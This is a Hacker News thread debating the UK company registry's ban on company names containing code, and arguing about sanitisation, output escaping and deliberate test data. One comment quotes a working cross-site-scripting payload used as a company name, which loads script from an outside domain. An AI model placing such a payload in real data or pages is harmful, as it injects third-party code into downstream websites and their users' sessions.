It’s a shame they learned the exact opposite lesson from what they should have. In fact they should have added their own honeypot company names to the DB to force companies to parse robustly.

Robustly to what? The registrar doesn't and shouldn't have to know every possible consumer of its data, so looking at it and saying "that looks like code" is probably way, way more foolproof than any other solution (assuming that someone does actually look at each one).
- paulryanrogers 2y ago
  Robustly against malicious input. A secure parser won't interpret user input as instructions, period.
  - drdaeman 2y ago
    As I get it, inputs aren’t an issue, failure to correctly escape outputs to match the target format is.
    - paulryanrogers 2y ago
      Good point, both are needed: secure parsing and secure rendering.
    - hnick 2y ago
      I liked perl's taint mode. It seemed pretty good against the "oops, forgot to sanitise this and you used it as output" situation that probably accounts for a lot of these issues. It won't force you to correctly sanitise, but assuming you have that capability it lets you know about gaps so you can plug them.
- drdaeman 2y ago
  It’s astonishing that handling and/or storing strings correctly is so hard, people actually suggest it’s somehow better to “just” stop such strings at administrative level. I find it harmful assuming that some externally-sourced data will match any arbitrary format (e.g. contain only allowed characters), even if it’s really supposed to be so. (Inverse for outputs - one has to conform as strictly as they can.) Ignoring this leads to mental dismissal of validation and correct handling, and that’s how things start to crack at the seams. I have seen too many examples of “this can never be… oops”. Add: Best one can safely assume when handling a string is that it’ll be composed of a zero or more octets (because that’s what typically OS/language would guarantee). Languages and frameworks usually provide a lot of tooling to ensure things are what they expected to be. Ignoring the failure modes (even less probable ones, like a different Unicode collation than is conventional on a certain system) makes one sloppy, not practical.
  - IanCal 2y ago
    And assuming all your consumers are not sloppy is impractical. We sanitise input all the time. This is not particularly unique. There isn't a great loss in this restriction of company names.
    - Dalewyn 2y ago
      >We sanitise input all the time. No we don't. Companies like the aforementioned were made illegal because nobody sanitizes input. SQL query injection and other forms of malformed data entry is still one of the most common attack vectors in the year 2024.
      - rapind 2y ago
        Isn't making it illegal a way of sanitizing it though?

- lolinder 2y ago
  Every consumer of its data should be sanitizing its inputs before rendering them wherever they are using it. HTML, SQL, etc. Banning "computer code" as judged by a random bureaucrat from being inserted into the database is not a solution at all, much less a foolproof one. The absolute best case scenario here is that the bureaucrats successfully block all possible actually-malicious injection attacks but the vulnerable consumers still get broken occasionally by a random apostrophe that gets thrown in.
  - bebrbrhrj 2y ago
    On balance, blocking such names makes sense. You can secure YOUR systems, and if that was that I would agree but unless you are going to pay to audit all consumers of the data worldwide, this solution is more pragmatic. I am not sure what we gain by letting company names have code.

    - from-nibly 2y ago
      Thats the thing, you don't have to audit. You put your own harmless malicious code base company names in and people immediately learn to deal with it. It's WAY less pragmatic to test every company name for potential malicious actions in other peoples code that you don't own.
      - IanCal 2y ago
        That doesn't test things in a useful way, and relies on having an official dataset lie. Good ingestion code should ignore those, and then you're not even testing the frontend of those systems.
      - bebrbrhrj 2y ago
        You are right but best to do that on day 1, which was probably in the 1970s or whenever a database of company names first existed. In the case of HTML script exploits maybe the 1990s. So you have a transitioning issue. You suddenly allow this company name sending a script to a domain they control then it is too dangerous. Test data like you mentioned is a great idea to increase resiliance. However I don't think that rises the overall ecosystem of consumers of this data to the right level to release actual exploits into the dataset. Downvoters are probably thinking purely. They are thinking "everyone in the world should make their systems 100% secure against common exploits and let a company name be an arbitrary string". The problem is that is not realistic. It works at a corporate level but not across all actors who interact with this dataset and the global internet. You can "should" at them all you like but no one has control over this. The government can choose: more exploits in the wild or fewer. Allowing script URLs they dont control in company names is the former.

  > Robustly to what? Not executing user input strings? IMO, this is like making human names illegal because people with certain accents or native languages may struggle to pronounce them. Our government officials are so stupid it's astounding. This doesn't make anybody safer, but there's now another minor charge after somebody has broken the law.
  - llamaimperative 2y ago
    The issue isn’t the government systems executing it. Countless other systems use and trust these sources. And sure, the registry isn’t technically liable, but it’s good not to break your downstream consumers when possible. > “A company was registered using characters that could have presented a security risk to a small number of our customers, if published on unprotected external websites.” Emphasis mine.

  I'm confused why everybody keeps talking about sanitization when all you have to do is escape a string properly whenever you inject it verbatim into a language, be it HTML or SQL or whatever.

The potential value of having companies named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" is far outweighed by potential costs.

  - paulddraper 2y ago
    The potential cost is an XSS vuln.

      ... with the name of the perpetrator attached. Companies are not something you can register anonymously. Do you have bars on your windows? No? The potential cost is a breakin? You you expect restaurants and stores to pat you down before you are allowed to enter? No? The potential cost is an attack on the staff. Should we ban cars because they can be used as lethal weapons? No? The potential cost is a terrorist attack. Deterrence through consequence is a thing and generally less costly for society than to make crime 100% impossible.
      - paulddraper 2y ago

        Isn't that more a statement that you're lucky enough to live somewhere that you don't need them? The real question is how many home invasions would you put up with before hardening your security, in more ways than just bars on your windows?
jvanderbot 2y ago
There was no lesson to learn, this is how it works. It is made illegal, then extra illegal, then no costs are levied for prevention, only for prosecution. The law does not prevent attacks it lowers cost of prosecution by clearing up the ambiguity about whether this was illegal. I'm not sure I love that, but that's how it always seems to work. Otherwise it's just another "job killing regulation".

Why solve problems when you can just outlaw the actions causing them? /s because sadly I feel it is needed here.
- hnfong 2y ago

  - ruthmarx 2y ago
    Ensuring government employees are following best security practices and not being negligent, and thus not passing the buck to citizens is maybe a little bit more realistic.
    - hnfong 2y ago
      I think the problem here is that government departments are not the only entities consuming the data. Private companies also deal with company names too. So at this point it's either: - somehow ensure all software is bug free (at least when processing company names) - outlawing things - just let it happen The first option isn't that far away from hacking the matrix and making buggy software physically impossible. The second option seems to be better than the third.

As an example of this sort of thing, Let's Encrypt adds a randomly generated field to its ACME responses, to force clients to properly ignore unrecognised fields: https://acme-v02.api.letsencrypt.org/directory https://acme-v02.api.letsencrypt.org/directory The contents of this field link here: https://community.letsencrypt.org/t/adding-random-entries-to-the-directory/33417 https://community.letsencrypt.org/t/adding-random-entries-to... I think Let's Encrypt have the right idea. I honestly don't think that trying to tip-toe around poorly written code is generally the right thing to do; it seems more like the UK Government is prioritising short-term security (trying to block "bad data", whatever that even is) over long-term security (forcing people to write better code).
- noitpmeder 2y ago
  Reminds me of when I used to write a CSV for some critical business function, and consumers refused to read by column name instead of by index, even after promising they had fixed their code. Only took a day or two of randomly shuffling around column orders on every write for them to see sense!
  - semanticc 2y ago

    - noitpmeder 2y ago

- theptip 2y ago
  Great example. I do think it’s a grey area to knowingly cause some potentially untrustworthy site to be loaded as the OP did (even if it’s a white hat domain now, that might not always be true). .gov should offer these detection services, and NSA should be providing an ambient baseline of pentesting. Absent government action I think it’s a net-positive action though.
